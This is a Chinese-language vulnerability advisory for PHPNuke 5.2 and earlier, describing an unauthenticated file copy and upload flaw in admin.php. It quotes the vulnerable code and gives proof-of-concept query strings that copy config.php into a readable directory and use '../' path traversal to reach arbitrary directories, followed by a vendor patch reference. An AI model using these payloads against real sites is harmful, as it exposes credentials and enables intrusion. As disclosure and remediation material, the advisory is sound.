PHPNuke 文件泄漏和上传漏洞

  PHPNuke 文件泄漏和上传漏洞 受影响的系统: PHPNuke 5.2 以及更低版本 描述:——————————————————————————–PHPNuke是一个流行的web论坛程序。它的某些版本中存在一个安全问题,可能导致远程攻击者获取系统上的敏感信息或者上载程序。问题处在admin.php在处理文件拷贝和上传时没有检查用户是否已经通过了管理员身份认证。有问题的代码在:$basedir = dirname($SCRIPT_FILENAME);$textrows = 20;$textcols = 85;$udir = dirname($PHP_SELF);if(!$wdir) $wdir=”/”;if($cancel) $op=”FileManager”;if($upload) { copy($userfile,$basedir.$wdir.$userfile_name); $lastaction = “”._UPLOADED.” $userfile_name –> $wdir”; // This need a rewrite ————————————-> OMG! WEAGREEEEEEEE lmao //include(“header.php”); //GraphicAdmin($hlpfile); //html_header(); //displaydir(); $wdir2=”/”; chdir($basedir . $wdir2); //CloseTable(); //include(“footer.php”); Header(“Location: admin.php?op=FileManager”); exit;}攻击者可以获取CGI有权读取得任意文件的内容,上传文件也是可能的。测试程序:——————————————————————————–警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!supergate (supergate@twlc.net) 提供了如下测试方法:?upload=1&file=config.php&file_name=hacked.txt&wdir=/images/&userfile=config.php&userfile_name=hacked.txt 这将config.php文件拷贝到/images/hacked.txt,使用 即可看到该文件内容。Paul Starzetz (paul@starzetz.de)发现通过在目录中指定”../”,,甚至可以拷贝任意目录下的文件到任意可写目录:?upload=1&file=config.php&file_name=hacked.txt&wdir=/../../../../../../../tmp/&userfile=config.php&userfile_name=hacked.txt ?upload=1&wdir=/../../../../../../../tmp&userfile=/../../../../../../../tmp/copyme.txt&userfile_name=/../../../../../../../tmp/hacked.txtroot@somehost:/tmp > ls -la total 20 drwxrwxrwt 8 root root 2048 Sep 25 13:37 . drwxr-xr-x 19 root root 2048 Feb 28 2001 .. drwxrwxrwt 2 root root 2048 Mar 6 2001 .X11-unix -rw-r–r– 1 root root 851 Sep 25 13:37 copyme.txt -rwxr-xr-x 1 wwwrun wwwrun 851 Sep 25 13:37 hacked.txt ——————————————————————————–建议: 厂商补丁:厂商已经提供了升级补丁,您可以在下列地址下载:?op=getit&lid=27 生活比你想象的要容易得多,只要学会接受那些不可接受的,

PHPNuke 文件泄漏和上传漏洞

相关文章:

你感兴趣的文章:

标签云: